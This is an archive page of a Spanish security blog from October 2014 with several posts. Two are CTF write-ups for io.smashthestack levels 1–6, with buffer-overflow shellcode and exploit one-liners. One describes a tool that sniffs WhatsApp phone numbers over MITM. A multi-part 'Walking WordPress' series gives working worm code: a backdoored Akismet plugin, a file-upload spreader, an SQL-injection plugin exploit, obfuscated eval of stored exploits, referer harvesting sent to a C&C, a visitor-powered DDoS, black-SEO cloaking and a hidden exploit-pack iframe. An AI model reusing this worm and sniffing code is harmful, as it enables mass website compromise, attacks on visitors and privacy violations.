lunes, 27 de octubre de 2014

Resolviendo los retos de io.smashthestack.org con radare2 [4-6]

¡Saludos!

    En el anterior post resolvimos con éxito los 3 primeros retos, y en este haremos otros 3 más.

Reto 4


    Mirando el código fuente nos damos cuenta de que es este reto es muy sencillo:

  

   Vemos que hace un popen a whoami. Para poder usar radare2 en la máquina remota habreis tenido que hacer:

export PATH=/usr/local/radare/bin:$PATH
  Para que al escribir "r2" ejecuta la versión más reciente y no la que viene instalada por defecto. Pues aquí nos encontramos lo mismo, no queremos que ejecute el programa "whoami" original, queremos que ejecute uno nuestro que nos de la pass. Símplemente creamos un archivo llamado "whoami" en /tmp/Lo-Que-Sea y  que éste haga un "cat /home/level5/.pass". Despues hacemos un export PATH=.... hacia la ruta donde esté nuestro archivo y ejecutamos level04.


Reto 5

    Si miramos el código fuente vemos que se trata de un buffer overflow de los clásicos, de los que aparecen en todos los tutoriales.




   Para hacerlo rápido usaremos los script "seekHdestroy.pl" que hice para esta entrada. tengo que mirar cómo funciona el scripting en r2 para portarlo a vala (o tirar de los bindings) y poder usarlo desde el propio radare.


      Lo que haremos será ejecutar el script para que nos genere el patrón

perl seekHdestroy.pl --seek

  Copiamos el patrón y abrimos level05 con r2

r2 -d ./level05 AquiElPatrón
  Hacemos  "dc" para que continúe la ejecución y se parará cuando dé el SIGSEGV. En ese momento hacemos "dr" para ver los registros:

A la derecha tenemos r2 y a la izquierda seekHdestroy.pl

      Copiamos lo que hay en EIP y se lo pasamos al script con la opción "--destroy=" y éste nos dirá cuanta basura deberemos de meter para poder controlar EIP -vemos que es 140-. A sabiendas de esto lo normal sería buscar en memoria donde empieza el buffer y proceder a crear un string del tipo [RELLENO][NOPS][SHELLCODE][DIRECCION DONDE HAY NOPs] .  En vez de hacer eso, ca0s me recomendó que hiciera otra cosa: meter los  NOPs + Shellcode dentro de una variable de entorno y después símplemente meterle al programa como parámetro un string con los caracteres necesarios + dirección donde están los NOPs. O sea:

export DERP=$(perl -e 'print "\x90" x 200 ."\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"')

       

       Para ver en qué dirección de memoria queda el shellcode podemos obtar por crear un programa que nos lo indique,o mirar con el propio r2 ya que lo tenemos a mano. Ponemos un breakpoint donde sea, ejecutamos "dc" y "px 1000 @ esp" (equivale a x/ de gdb). Buscamos donde están los nops y copiamos esa dirección:





 En 0xbffffe80 ya estaríamos cayendo en medio de los NOPs. Armamos el exploit y lo ejecutamos:

./level05 $(perl -e 'print "A" x 140 . "\x80\xfe\xff\xbf";')

Reto 6

   El código fuente es más largo y no me cabe en una foto, asi que lo subo a paste bin (http://pastebin.com/uwJvbh5r) . Estamos ante otro BoF. Esta vez el shellcode lo metí en la propia variable de entorno que usa, LANG:

export LANG=$(perl -e 'print "fr" . "\x90" x 100 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";')

    Lo primero es ver por donde peta (vemos que hay una concatenación entre los dos argumentos y que es donde tendremos el BoF, pero hacemos la prueba visual), abrimos con r2 -d ./level06 [40 "A"] [32 "B"], y lo mismo que antes "dc" y cuando suelte el SIGSEGV "dr" para mirar los registros


  Vemos como efectivamente en EIP hay "B"s (0x42424242). Bueno, ¿cuantos caracteres son necesarios antes de tomar el control de EIP?. Hacemos lo mismo que en nivel 5, usamos seekHdestroy:

  Vemos que necesitamos 26 caracteres antes de poner la dirección donde están los NOPs. Al igual que en el ejemplo anterior, ponemos un breakpoint y buscamos:



Con lo que finalmente conseguiremos ejecutar /bin/sh y obtener el flag:

./level06 $(perl -e 'print "A" x 40 . " " . "B" x 26 . "\xec\xfe\xff\xbf";')



Byt3z!

5 0verl0ad Labs: octubre 2014 ¡Saludos!     En el anterior post resolvimos con éxito los 3 primeros retos, y en este haremos otros 3 más. Reto 4     Mirando el cód...

viernes, 24 de octubre de 2014

Resolviendo los retos de io.smashthestack.org con radare2 [1-3]

¡Saludos!

     Esta semana tenía pensado hacer una entrada sobre el proyecto que estoy desarrollando con la Raspberry PI (Architeuthis) pero como @Aetsu hizo una esta semana, prefiero tocar otro palo. Estoy empezando a estudiar exploiting en linux y por el IRC me recomendaron que hiciera los retos de io.smashthestack.org porque va en progresión de dificultad y puedes ir aprendiendo con cada paso que das. He llegado a resolver hasta el reto 9, y actualmente estoy intentado hacer el 10 -los 10 primeros son los "básicos", leyendo "smash the stack for fun and profit", "Format String Technique"  y consultando en google las dudas es suficiente- . En total son 30, por lo que me queda bastante...

      Los retos los he ido resolviendo con gdb, pero ahora los estoy volviendo a hacer usando radare2. Durante el Navaja Negra asistí al taller que impartió @trufae y me moló bastante la herramienta. Alguna vez intenté flirtear con ella, pero la curva de aprendizaje hizo que continuara con gdb. Ahora estoy forzándome a usarla, y fruto de ello es este post. Sobre cómo funcionan estos retos y demás, teneis toda la info en  io.smashthestack.org. Pasemos a hacer los tres primeros retos.


Reto 1

         Si ejecutamos level01 vemos que nos solicita tres dígitos:


     Si escribimos tres al azar termina la ejecución y no nos muestra ningún mensaje ni nada. Veamos que está haciendo por dentro, desensamblandolo. Para hacer ésto con radare2 simplemente ejecutamos
r2 level01
      Una vez dentro de radare2 usamos el comando "aa" para analizar el binario. Para echar un ojo a la función main haremos "pdf@sym.main". En este caso  la "p" significa "print"; la "d", "disassemble"; y la "f", function. Si lo desglosamos, en el fondo recordar los comandos es fácil.  Deberíamos de ver el desensamblado de la función main:





     Si nos fijamos vemos un cmp a un valor fijo:
cmp eax, 0x10f
      Lo pasamos a decimal usando el comando "?" (nos permite realizar operaciones aritméticas)

     Vemos que se trata de 271. Si le pasamos ese valor al programa nos dará una shell con la que poder ver la password del siguiente reto:


   Reto 2

     En este reto sí nos proporcionan el código fuente original (level02.c):


   Para poder alcanzar la porción de código que nos brinda el /bin/sh debemos de disparar un SIGFPE. ¿Cuando se dispara? Pues si googleamos "linux sigfpe" nos topamos con este enlace , después de la Wikipedia, que dice:

Integer division by zero has undefined result.
       On some architectures it will generate a SIGFPE signal.
  (Also dividing the most negative integer by -1 may generate SIGFPE.)


   Bueno, intentar dividir por 0 no podemos porque en el código el denominador correspondía con el segundo argumento, y hace la comprobación if (argc != 3 || !atoi(argv[2])) -es decir que necesita dos argumentos y el segundo no puede ser cero-. Asi que hacemos la prueba con el valor int más negativo posible: −2,147,483,648

Sí, he confunido el mayor positivo con el mayor negativo en el primer intento. Memorizar cosas no es lo mio :(
Y ya tenemos nueva shell para conseguir la pass que nos de acceso al siguiente reto.


Reto 3

      En este reto también nos proporcionan el código fuente (en general suelen darlo en la mayoría)


          Como vemos en el código la función "bad()" es llamada desde un puntero. Si ejecutamos el programa con un string de más de 4 caracteres vemos que nos imprime un texto donde nos muestra la dirección donde está "bad" (0x80484a4) y llama a esta función, la cual nos dice a qué otra dirección deberíamos de haber saltado para poder ejecutar "good()" (0x8040474). Viendo los memcpy y memset huele a overflow por los cuatro costados. Es bastante similar al reto "Extra" que hubo este año en el Navaja Negra.

         Tiramos radare2 en modo debug y le metemos unas cuantas "A" como punto de referencia:
radare2 -d ./level03 AAAAAAAAAAAA
Miramos la función main (usando "aa"  y "pdf" tal  y como en el reto 1). Miramos donde hace el memcpy() 

  Ponemos un breakpoint para buscar nuestras "A"s y ver la distancia que hay hasta el puntero que debería de llamar a bad() (buscamos la dirección 0x80484a4), de tal forma que podremos calcular cuanta basura debemos de meter antes de sobreescribirlo con la dirección de good() -que era 0x8048474-:

db 0x08048530
dc
Con dc ejecutamos el progrma hasta nuestro bp. Ahí miramos qué hay en ESP y calculamos la distancia:


      Si contamos los grupos de 4 bytes hasta llegar a lo resaltado (que era el 0x80484a4 que buscábamos) vemos que son 19. Por lo tanto haciendo el cálculo (es tan facil como 20 x 4 - 4 pero bah, que radare haga el cálculo, a mí me da pereza :P)  
? 19 * 4
76 0x4c 0114 76.0 0000:004c 76 "L" 01001100 76.0 0.000000
   Necesitamos meter 76 y después la dirección que nos sugería, o sea que quedaría como:

level3@io:/levels$ ./level03 `perl -e 'print "A" x 76 . "\x74\x84\x04\x08";'`

  Y nos devuelve un:

This is exciting we're going to 0x8048474
Win.

Junto con una bonita shell que nos llevará a conseguir el pass del nivel 4 :D.

Cuando saque algo de tiempo postearé los siguientes retos usando r2.


Byt3z! 
5 0verl0ad Labs: octubre 2014 ¡Saludos!      Esta semana tenía pensado hacer una entrada sobre el proyecto que estoy desarrollando con la Raspberry PI ( Architeuthis ) ...

miércoles, 22 de octubre de 2014

RaspRobot (Python + Twitter + Raspberry Pi)



La entrada de esta semana puede considerarse como una mezcla de las dedicadas a  Juankeando con la Pitón y las añejas centradas en la Raspberry Pi.


¿Qué es RaspRobot?

Una aplicación escrita en Python 3 que permite, a la pequeña Raspberri, realizar determinadas acciones cuando recibe un mensaje directo por Twitter.

Por ejemplo, si le enviamos un mensaje como:


Ella responderá informándonos del estado del servidor ssh:




¿Qué funcionalidades tiene?

De momento permite habilitar, deshabilitar y conocer el estado del servicio ssh. También permite conocer la IP pública del Raspberri y el clima en la ciudad previamente configurada.



¿Cómo funciona esta sensual aplicación?

Basta con enviarle por mensaje directo a la Raspberri el comando para que haga la tarea, según lo implementado:
  • Para activar el servicio ssh: 
    ssh start
  • Para desactivar el servicio ssh:
    ssh stop
  • Para conocer el estado del servicio ssh:
    ssh status
  • Para conocer la IP pública de la Raspberry pi:
    public ip

  • Para conocer el clima:
    weather



 Cada 60 segundos RaspRobot comprueba si hay mensajes directos nuevos. Si es así, procesa la acción pertinente y nos envía una confirmación/respuesta por el mismo canal.



Sus tripas

Como he dicho arriba, está escrito en Python 3 e implementa, mediante yapsy un sistema de plugins. Dentro del directorio de la aplicación existe una carpeta llamada plugins con otras dos, una llamada enabled y la otra disabled. Los plugins que se deseen cargar irán en la primera, mientras que la segunda esta destinada a los que no se quieren procesar. Esto permite una fácil extensión de la aplicación.

Para las llamadas a la api de Twitter he utilizado la implementación de la API Rest que ofrece el módulo twitter de sixohsix. Sobre este he creado mi propia clase llamada RaspTwitter abstrayendo más si cabe su librería e implementado solo las funciones que iba a necesitar con algunos cambios.

Por último, para el clima he utilizado python-weather-api con el tiempo que ofrece weather.com.

Todo esto viene coordinado por el fichero config que contiene las pertinentes configuraciones como son las relacionadas con la app de Twitter que hay que crear para la ocasión. Basta con ir a la web de apps de Twitter y crear nuestra propia aplicación. Como dato importante, es necesario darle permiso para leer, escribir y acceder a mensajes directos:




¿En qué estado se encuentra la aplicación?

Yo diría que esta en un estado alpha. La aplicación funciona, pero faltan cosas como el sistema de logs y comprobar las limitaciones que ofrece (si es que las ofrece) la propia API de Twitter.
Por supuesto, también falta añadir más módulos.



¿Dónde descargo esta cosa?

El el repositorio GitHub de 0verl0ad, concretamente de:
 https://github.com/0verl0ad/raspRobot



Consideraciones

Para conocer el identificador de tu ciudad, en la carpeta tools:





 Fuentes y material interesante:


  Cualquier comentario, duda y/o insulto en los comentarios (los comentarios serán pertinentemente moderados ¬¬), nos leemos en breve ;)


5 0verl0ad Labs: octubre 2014 La entrada de esta semana puede considerarse como una mezcla de las dedicadas a  Juankeando con la Pitón y las añejas centradas en la Ra...

viernes, 17 de octubre de 2014

Stalk all the Whatsapps!

¡Saludos!

              Durante el congreso Navaja Negra se impartió un taller de "Hardware hacking" donde @KioArdetroya y @T31m0 mostraron algunos aparatos que hay en el mercado para poder jugar: wifi pineapple, rubber ducky, etc. Por mi parte no pude asistir porque fui al taller de iniciación al exploiting en windows  y después al de radare2, asi que no saqué tiempo para pasarme a verles. Sin embargo la noche de antes estuvimos cerveceando juntos y me contó una de las demos que tenían preparadas: sacar los números de teléfono de gente que tenga whatsapp y se conecte a la wifi.



              El otro día me volví a acordar de aquello que contaron cerveza en mano, y me puse a indagar. Lo primero que vi fue el módulo que tiene fruity wifi para tal efecto, que no es más que un fork de este script en perl hecho por Deepak Daswani => Whatsapp Discover.pl  . Leyendo el código en diagonal vi que a fin de cuentas lo que hace es analizar un .pcap, filtrar por los puertos 3222, 3223 y 443, y aplicar una expresión regular.


          Como no me creía que fuese tan sencillo ¿de verdad manda whatsapp los números de teléfono y el OS en texto claro? Tocó hacer la prueba: monté un mitm tirando de arpspoof para pescar todos los paquetes y puse en wireshark un filtro para los puertos mencionados anteriormente. Y sí, tras un rato esperando, había paquetes donde aparecían. Acojonante.

         Ultimamente estoy haciendome mi set de troll-herramientas en nodeJS (los que estuvisteis en el Hotel Universidad del navaja quizás visteis algunos miles de APs....), y ésta no iba a ser menos. En primer lugar pensé en que el script hiciera el MITM a través de arp poisoning, pero pensé que eso era dejárselo demasiado en bandeja a la gente. El script ahora mismo permite sniffar el tráfico en tiempo real (a diferencia del script de Deepak Daswani que extraía los números y sistema operativo de los .pcap), asi que para que funcione debeis de hacer vosotros el mitm ;) el script => https://github.com/0verl0ad/architeuthis/blob/master/node-tools/whatsapp.js       


        Ahora bien, ¿qué hacer con los números extraídos? Pues a voz de pronto se me ocurre pasarle esta herramienta que hicieron los de flu-project => http://www.flu-project.com/2014/09/yowsup-aplicaciones-eticas-y-no-tan_16.html  y extraer los avatares que tienen en whatsapp. Después agregamos a quien nos parezca más interesante ;).


        Por ahí me sé de alguien que está haciendo una aplicación de android para esto, Aetsu, cof cof. No es por meter prisa ni nada...


Byt3z!
5 0verl0ad Labs: octubre 2014 ¡Saludos!               Durante el congreso Navaja Negra se impartió un taller de "Hardware hacking" donde @KioArdetroya y @T31...

jueves, 16 de octubre de 2014

Juankeando con la Pitón - Parte 4



Cuarta entrega, esta vez relacionada con la geolocalización de IPs. La idea me vino al leer un punto del libro de Violent Python en el que primero se descarga una BD con las geolocalizaciones almacenadas y después se le van haciendo consultas.

Para dicha tarea se utiliza la API geoIP que permite de forma muy simple realizar las consultas. El script automáticamente detecta si la BD esta descargada. En caso negativo la descarga con urllib.

En cuanto a la interfaz por linea de comandos, en el anterior post @BinaryRock me recomendó que utilizara click para las interfaces, y pese a que le he echado un vistazo, no me he acabado de acomodar, con lo que sigo usando docopt (dependencia que también hay que instalar).

Por último, además de aceptar una sola ip, también permite pasarle un fichero con varias direcciones para generar un archivo KML para abrirlo con Google Maps y tener todas las direcciones señaladas. Para esto es necesario instalar simpleKML que con pocas lineas permite generar archivos de tal extensión.

El script podéis descargarlo del GitHub de 0verl0ad, concretamente de aquí.

Fuentes y material interesante:

Os dejo un par de capturas y nos leemos en breve ;)





5 0verl0ad Labs: octubre 2014 Cuarta entrega, esta vez relacionada con la geolocalización de IPs. La idea me vino al leer un punto del libro de Violent Python en el ...

domingo, 12 de octubre de 2014

The Waking WordPress [V]: ¿y ahora qué?

¡Saludos!

   Llegamos al último capítulo de esta serie. Una vez que el worm está funcionando, infectando nuevos sitios, queda preguntarnos ¿y para qué puedo usarlo?. Usos hay infinitos, tantos como ideas se te puedan pasar por la cabeza. La más obvia es utilizar el worm a modo de webshell - o lo usamos para dropear una- y realizar una post-explotación clásica, o realizar un dumpeo de la DB (tenemos todos los credenciales, es algo trivial). Otra opción es atacar / utilizar los visitantes que entran en los WordPress infectados. Algunas ideas para ejecutar desde el akismet backdoorizado:

DDoS usando los visitantes

    El concepto es viejo. Se trata de usar jQuery para que lo usuarios mientras visitan la web manden numerosas peticiones HTTP contra un recurso pesado localizado en la web que se desea dosear. Usando algún hook (wp_footer, por ejemplo) podemos incluir el script encargado de las peticiones

wp_enqueue_script("jquery");
function DDoS_jq() { $url = get_option("wp_ddos_jq"); if ($url != "") { echo "<script>    ddos('".$url."');function ddos(url){            window.setInterval(function (){                jQuery.getScript(url);                        },100)        }</script>";}}

    De esta forma conseguimos que cada visitante mande 10 peticiones por segundo. Si tenemos 10 zombies, y cada zombie unos 100 visitantes, estaremos mandando 10.000 request /s . Para hacerlo más interesante podemos escalar un paso más y tratar de anonimizar el origen real de donde se está produciendo el ataque usando para ello webs con open redirections que nos permitan usarlas a modo de proxy.

   Existe un proyecto llamado UFONet ( http://ufonet.sourceforge.net/ ) que, entre otras cosas, nos permite generar un listado de URLs que poseen estas características. Lo ideal sería usar URLs a la azar de esa lista para lanzar las peticiones HTTP.


Black SEO

   Este es el truco más viejo probablemente que nos encontramos en los WordPress vulnerados, el clásico "pharma hack" y derivados. Es tan simple como comprobar el User-Agent del visitante, y si se trata de un spider de algún buscador importante, mostrarle el texto que tengamos preparado para hacer black seo:

function black_seo() { $bots = array("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Googlebot-News", "Googlebot-Image/1.0", "Googlebot-Video/1.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Mozilla/5.0 (seoanalyzer; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) SitemapProbe"); foreach ($bots as $bot) { if ($_SERVER['HTTP_USER_AGENT'] == $bot) { echo get_option("wp_seo_worm"); } }}


Distribución de malware entre los visitantes

    Podemos mostrarles a los visitantes un iframe invisible hacia un exploit pack preparado:

function expack() { $url = get_option("wp_ex_pack"); echo '<iframe scrolling="no" height="0" frameborder="0" src="'.$url.'" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:0"></iframe>';

   Si tenemos un exploit para un determiando navegador/SO podemos filtrar para que (igual que hicimos en el black seo) se muestre el iframe sólo a visitantes potencialmente vulnerables.


---------------------------------------------------------------------------------------- 

  Tal y como dije arriba estos son sólo algunos ejemplos pensados rápidamente. 

  Con esto pongo punto y final a este serie. Espero haber podido explicar en qué consistía mi ponencia en el Navaja Negra, tanto para aquellos que no pudieron asistir como para los que asistieron y no se enteraron (hay que ser honestos, no valgo para orador). 


Espero retomar esta semana  el proyecto Architeuthis (el de la raspberry pi) con algunas de las ideas que me dieron varias personas durante el congreso. Si saco tiempo, publicaré por aquí resultados.


Byt3z!
5 0verl0ad Labs: octubre 2014 ¡Saludos!    Llegamos al último capítulo de esta serie. Una vez que el worm está funcionando, infectando nuevos sitios, queda preguntarnos...

sábado, 11 de octubre de 2014

The Walking WordPress [IV]: autoreplicación

¡Saludos!

      En la última parte vimos cómo construir los exploits a partir de wp_remote_post. Con todo lo anterior ya podríamos utilizar la botnet para atacar listados de URLs que nosotros tengamos a mano (por ejemplo de clasificar el top 1 millon de Alexa) símplemente cogiendo la lista, diviéndola en partes, y distribuyendola entre todos los zombies.  En este capítulo (penúltimo de la serie) veremos cómo es la "autoreplicación" -que es la característica esencial de cualquier worm-.


Recogiendo los referer

    ¿Cómo puede el worm obtener la URLs  las que va a atacar -a parte de las que nosotros queramos suministrarle- ? La forma más sencilla es recopilarlas a partir de las cabeceras referer que se mandan cuando un visitante entra a la web desde un link alojado en otra web. ¿Y cómo podemos obtenerlas?

    Aquí es donde ya empezamos a cuadrar las piezas del puzzle que hemos ido formando días atrás. Al backdoorizar Akismet tenemos acceso a los "hooks", por lo que deberemos de establecer uno que permita lanzar la función encargada de recoger el referer cada vez que un visitante entre al WordPress infectado. Las URLs las almacenaremos en la tabla wp_options. Lo de arriba descrito se traduciría en -insisto, si se ve mal por el formato que da el blog, identarlo en un editor de texto para hacerlo legible-:




add_action('wp_loaded', 'catch_referer');
function catch_referer() {
$ref_domain = parse_url($_SERVER['HTTP_REFERER']);
$target = $ref_domain['host'];
$old_value = get_option("wp_referer_list");
$list = explode("||||", $old_value);
$check = FALSE;
foreach ($list as $ref) {
if ($ref == $target) {
$check = TRUE;
}
}
if ($check !== TRUE) {
$new_value = $old_value."||||".$target;
update_option("wp_referer_list", $new_value);
} }



      El hook que estamos usando como disparador es "wp_loaded", que lanzará a la función catch_referer() cada vez que se cargue la web. Despues extraemos la URL del referer, comprobamos si esa URL la teníamos ya almacenada, y si no es así la guardamos.


Clasificando objetivos potenciales

       No todo el mundo que entre a nuestra web lo hará desde un WordPress, por lo que antes de ponernos a lanzar la batería de exploits a lo loco -consumiendo recursos que podrían delatarnos- deberemos de establecer cuales de esas URLs son WordPress. Por mi parte creo que lo mejor es declinar esta tarea a un servidor externo -puede ser el propio panel de control el encargado, u otro PHP diferente- que centralice los resultados y distribuya los posibles objetivos de forma equitativa entre todos los zombies. De esta forma evitamos duplicidades y simplificamos el proceso.

     Lo que haremos será, desde el akismet backdoorizado, establecer una tarea programada para cada 12 horas (utilizando la API de WordPress nuevamente) consistente en mandar el listado de URLs a quien se vaya a encargar de extraer qué URLs pertenecen a WordPress (repito, puede ser el propio panel de control) y vaciar el listado. Así cada 12 horas el contador se pondrá a cero.

add_action( 'send_referers', 'send_ref' );wp_schedule_event( time(), 'twicedaily', 'send_referers' );function send_ref() { $ref_list = get_option("wp_referer_list"); $response = wp_remote_get($cc."?filter_refs=".base64_encode($ref_list)); update_option("wp_referer_list", "");}
   Si hemos elegido asignar esta labor al panel de control, simplemente deberemos de comprobar cuales de esas URLs han sido atacadas ya. Mandaremos una petición GET a aquellas que no lo hayan sido, y en el código fuente buscaremos archivos .js que aparecen en WordPress para poder determinar si se trata de un WordPress. En mi caso he obtado por escoger los que utiliza la herramienta plecost:

wp-admin/js/common.js
wp-includes/js/jquery/jquery.js
wp-includes/js/wp-lists.js
wp-includes/js/plupload/plupload.js
wp-includes/css/admin-bar.css

  Una vez que sabemos cuales son WordPress, distribuimos cada X horas el listado entre los zombies y vaciamos.

Infectando nuevos WordPress

      Para evitar consumir recursos en exceso y levantar sospechas, los zombies atacaran cada hora sólo una fracción de la lista, reduciendo ésta paulatinamente. En el capítulo anterior vimos cómo se lanzaba la batería de exploits contra los objetivos. Lo único que deberemos de añadir es una tarea programada para cada hora (tal y como se ve más arriba), y establecer la función extract_targets() -si no os acordais mirad el final del capitulo anterior- que será la encargada de coger del listado de objetivos unas pocas URLs.

    Si un exploit triunfa y consigue subir el worm a un nuevo WordPress, le mandaremos una petición GET para que inicie el "first stage" y se inicie de nuevo el círculo -vuelta a recordar: al final del capítulo II en el código veíamos como la primera etapa se iniciaba al hacer un "?do=info"-.


   Con este capítulo ponemos punto y final a la esencia del worm. En el siguiente símplemente mostraré ejemplos de ataques que podemos realizar con la botnet formada.


Byt3z!


5 0verl0ad Labs: octubre 2014 ¡Saludos!       En la última parte vimos cómo construir los exploits a partir de wp_remote_post. Con todo lo anterior ya podríamos utiliza...

viernes, 10 de octubre de 2014

The Walking WordPress [III]: creando y lanzando los exploits

¡Saludos!

      En el capítulo de hoy vamos a empezar a ver cómo el worm adquiere su capacidad de replicación, en concreto la capacidad pasiva (la propia botnet va recopilando URLs a las que intentar infectar). No voy a entrar en ello, pero nosotros también podemos suministrarle a la botnet un listado de URLs para ser atacadas (método activo).


      La entrada anterior finalizó cuando el malware se pone en contacto con el C&C, y éste le responde mostrando el código fuente de los exploits. La función add_all_exploits() se va a encarga símplemente de guardar ese contenido en el campo "wp_exploits" de la tabla wp_options:

function add_all_exploits($source) {
add_option("wp_exploits", $source);
}

     Ahora bien, ¿cómo son esos exploits? ¿cómo se realiza el proceso de ataque? ¿cómo localiza objetivos?


Construyendo los exploits y lanzándolos con wp_remote_post() 

     No podemos usar directamente los exploits que nosotros diseñaríamos de forma habitual, o los que otros investigadores cualquieran en los repositorios habituales (exploit-db, securityfocus, etc.), sino que deberemos de adaptarlos a para poder lanzarlos usando las funciones propias de la API de WordPress: wp_remote_get() y wp_remote_post().

     Como ya mencioné en entradas anteriores, no podemos basar nuestros exploits en el uso de cURL, sockets, o pecl_http, porque no sabemos si están instalados y/o habilitados en el servidor que acabamos de infectar, por lo que lo ideal es usar algo que sí vamos a tener: la API de WordPress. El problema radica es que nosotros siempre vamos a intentar explotar vulnerabilidades que conduzcan a la subida arbitraria de ficheros, pues esa es nuestra intención: subir el worm a un nuevo sitio.

    Por defecto wp_remote_post() no permite la subida de ficheros, por lo que nos encontramos de pleno con una restricción que tira por los suelos todo el plan. Sin embargo sí que podemos realizar workarounds basados en construir desde cero la petición HTTP y después pasarsela a la función para que la ejecute. En concreto podemos adaptar este código extraído de la lista de correo de Automattic.

   En mi caso lo que hice fue una adaptación que permitira tener juego suficiente para la explotación, debido a que quizás en algunas ocasiones la vulnerabilidad que explotamos es un bypass a un uploader, y necesitaríamos modificar los headers, por ejemplo. Así quedó -imagino que se verá mal por el formato del blog, pero copiadlo en un editor de texto e identadlo bien-:

function spread($url, $post_fields, $headers, $source, $boundary, $worm_name, $loc) { //Fields and headers are arrays (Esta adaptado de un correo de la lista de automattic) $payload = ''; // First, add the standard POST fields: foreach ( $post_fields as $name => $value ) {  $payload .= '--' . $boundary; $payload .= "\r\n"; $payload .= 'Content-Disposition: form-data; name="' . $name . '"' . "\r\n\r\n"; $payload .= $value; $payload .= "\r\n";  } // Upload the file if ( $worm_name ) { $payload .= '--' . $boundary; $payload .= "\r\n";  $payload .= 'Content-Disposition: form-data; name="Filedata"; filename="' . $worm_name . '"' . "\r\n"; //        $payload .= 'Content-Type: image/jpeg' . "\r\n"; $payload .= "\r\n";      $payload .= $source; $payload .= "\r\n"; } $payload .= '--' . $boundary . '--';  $response = wp_remote_post( $url, array(  'headers'    => $headers,  'body'       => $payload, ) ); $reponse = wp_remote_get($loc.$worm_name."?do=info");}


   Como parámetros le pasamos la URL objetivo, un array con los pares nombre-valor de las variables que enviaran por POST, otro array con cabeceras, el código fuente del worm, una cadena aleatoria alfanumérica, el nombre que queremos que tenga el archivo y la localización que tendrá una vez subido.


    Por lo tanto, los exploits que vayamos a generar símplemente deberan de encargarse de rellenar los parámetros necesarios, de tal forma que el grueso del source está implícito en el propio worm. Esto nos permite almacenar más cantidad de exploits en la base de datos. Por ejemplo, para explotar el plugin WordPress Shopping Cart (disponible en WordPressa Lab ), el exploit final sería el siguiente:


$a = array ( 'reqID' => "1'or 1='1",);$boundary = wp_generate_password( 24 );$b = array( 'content-type' => 'multipart/form-data; boundary=' . $boundary);
spread($target."/wp-content/plugins/levelfourstorefront/scripts/administration/dbuploaderscript.php", $a, $b, $worm_source, $boundary, "w0rm.php", $target."/wp-content/plugins/levelfourstorefront/w0rm.php");



    El exploit es almacenado en base64, y cada exploit está separado por una cadena de caracteres predefinida. Para ejecutar todos los exploits, símplemente deberemos extraer lo que tenemos almacenado en wp_exploits (dentro de wp_options), separar cada exploit usando como referencia la cadena de caracteres (por ejemplo "||||"), y aplicar un eval(base64_decode(...)) a cada exploit.

     function load_exploits() { $value = get_option("wp_exploits"); $list = explode("||||", $value); return $list;}
function apocalypse ($targets, $exploits) { foreach ($targets as $target) { foreach ($exploits as $exploit) { $base = "base"; $sese = 63 + 1; $deco = "_deco"; $de = "de"; $all = $base.$sese.$deco.$de; eval($all($exploit));  } }}
function start_apocalypse() { $targets = extract_targets(); $exploits = load_exploits(); if ($targets === FALSE) {  exit(); } else { apocalypse($targets, $exploits); }}


  La función extract_targets(), es la encargada de mirar en la base de datos los objetivos que vamos a atacar. Cómo localiza los objetivos es algo que veremos en el sigiuente capítulo.


Byt3z!
5 0verl0ad Labs: octubre 2014 ¡Saludos!       En el capítulo de hoy vamos a empezar a ver cómo el worm adquiere su capacidad de replicación, en concreto la capacidad pa...

jueves, 9 de octubre de 2014

The Walking WordPress [II]: first stage

¡Saludos!

    Las slides están ya subidas ( https://es.scribd.com/doc/242156766/The-Walking-WordPress-pdf).

     En el ciclo de funcionamiento del worm podemos diferenciar distintas etapas, que calificaremos de: etapa inicial, etapa de replicación y etapa de post-explotación. La etapa inicial se centra en obtener la información del entorno comprometido, establecer la comunicación con el C&C, y acomodar todo lo necesario para que el worm pueda continuar hacia las siguientes etapas.

   

Localizar wp-config.php y wp-load.php

   En el post anterior vimos como era necesario incluir el archivo wp-load.php con el objetivo de poder acceder a las funcionalidades que proporicona la propia API de WordPress (concretamente estuvimos usando la función wp_options() para eliminar las alertas de iThemes Security) así como la inclusión de wp-config.php para conocer los credenciales de la base de datos.

   El archivo wp-load.php está situado en la raíz de la instalación, mientras que wp-config puede estar en la raíz o un path más arriba -es uno de los primeros pasos al realizar una fortificación -. Además, nuestro worm puede encontrarse en distintas localizaciones (/wp-contents/uploads, /wp-contents/plugins/Whatever/products/, etc.) dependiendo de qué plugin haya sido explotado para subirlo. Estos hechos nos imposibilitan el usar rutas absolutas para hacer el require() a wp-config/wp-load.

   En base a lo anterior lo primero que deberá de hacer nuestro worm será realizar una búsqueda progresiva hacia arriba buscando estos archivos y tras localizarlos realizarles el require(). Un ejemplo de función que se puede encargar de la búsqueda es la siguiente:

function search_file($file) { $found = FALSE; $start = $file; $set = ""; while($found === FALSE) { $set = "../".$set; $see = $set.$start; if (file_exists($see)) { $found = TRUE; } } return $see;}


   Utilizar file_exists() puede tener algún problema en algunos casos donde donde los propietarios de los ficheros difieran o existan restricciones de permisos, pero son casos prácticamente anecdóticos. En otros casos obtendremos el error debido a la fortificación, por lo que localizar o no esos archivos es trivial: nunca podrá funcionar nuestro worm más allá que como una simple webshell -hay pérdida total de la fase de replicación y de comunicación con el panel de control-.

    Una vez localizados los archivos, tan sólo queda hacerles el require.



Permisos de escritura en ficheros clave

   Otra información crucial que deberemos de obtener es la de sobre qué ficheros podremos sobreescribir. Tal y como se ven en los slides,es vital para ejecutar la autoreplicación y realizar los ataques coordinados el poder sobreescribir el plugin Akismet -ésto nos da acceso a los hooks de WordPress-  , y de forma secundaria necesitamos permisos de escritura en /wp-admin/includes/file.php para poder poner un "ratero" al formulario del ftp.

